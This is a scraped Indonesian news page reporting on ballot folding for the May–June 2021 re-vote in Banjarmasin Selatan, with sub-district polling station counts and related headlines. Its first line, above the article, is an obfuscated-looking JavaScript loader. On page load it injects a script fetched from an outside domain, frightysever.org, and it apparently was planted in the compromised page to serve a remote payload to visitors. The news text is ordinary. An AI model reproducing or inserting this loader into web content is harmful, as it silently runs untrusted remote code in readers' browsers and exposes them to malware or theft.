(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jelang pelaksanaan pemungutan suara ulang (PSU) Pilgub Kalsel yang digelar di Kecamatan Banjarmasin Selatan pada 9 Juni nanti, berbagai persiapan mulai dilakukan. Salah satunya, pelipatan surat suara yang kini ditangani oleh tenaga khusus terlatih yang bertugas melipat sebanyak 110.635 ribu surat suara.
Hingga Kamis (27/5/2021), pelipatan surat suara masih terus dikebut agar selesai dua hari ke depan. “Persiapan sejauh ini sudah sampai proses pelipatan surat suara yang dilaksanakan di Gedung Wanita Banjarmasin,” kata M Syafruddin Akbar, salah satu komisioner KPU Banjarmasin.
Tenaga yang dilibatkan dalam proses pelipatan surat suara ialah warga yang sudah dipercaya yang berpengalaman melipat surat suara sejak Pileg 2019 lalu.
Pelipatan ini dilakukan dimulai pukul 8.00 pagi sampai 20.00 Wita. Pelipatan surat suara sebanyak 110.635 lembar itu dikerjakan oleh 16-20 orang setiap harinya.
“Setiap hari bisa sekitar 16-20 orang yang kerja, masalah gaji kami tidak tahu bukan kewenangan dari kami, untuk pelipatan surat suara diusahakan sabtu selesai,” ujarnya.
Sebagaimana diketahui, Banjarmasin Selatan merupakan salah satu kecamatan yang diminta menggelar PSU oleh Mahkamah Konstitusi (MK). Hal ini seiring dengan diterimanya sebagian permohonan atau gugatan dari pasangan calon (paslon) Gubernur dan Wakil Gubernur Kalsel 2020 yakni H Denny Indrayana-Difriadi Darjat.
Dalam sidang dengan agenda pengucapan keputusan, Jumat (19/3/2021), MK memutuskan Pilgub Kalsel 2020 harus dilakukan PSU di enam kecamatan.
Adapun Kecamatan Banjarmasin Selatan terdapat 301 TPS untuk 12 Kelurahan, di antaranya Kelurahan Basirih Selatan 28 TPS, Kelayan Barat 13 TPS, Kelayan Dalam 19 TPS, Kelayan Selatan 22 TPS, Kelayan Tengah 14 TPS, Kelayan Timur 39 TPS, Mantuil 29 TPS, Murung Raya 23 TPS, Pekauman 19 TPS, Pemurus Baru 33 TPS, Pemurus Dalam 42 TPS dan Tanjung Pagar 20 TPS.
“Setelah surat dilipat dan dimasukkan ke kotak suara, kemudian akan distribusikan ke Kecamatan dari Kecamatan ke Kelurahan, lalu ke TPS-TPS,surat suara akan didistribusikan ke TPS H-1,” tutup Akbar.(kanalkalimantan.com/ila)
Reporter: ila
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
This website uses cookies.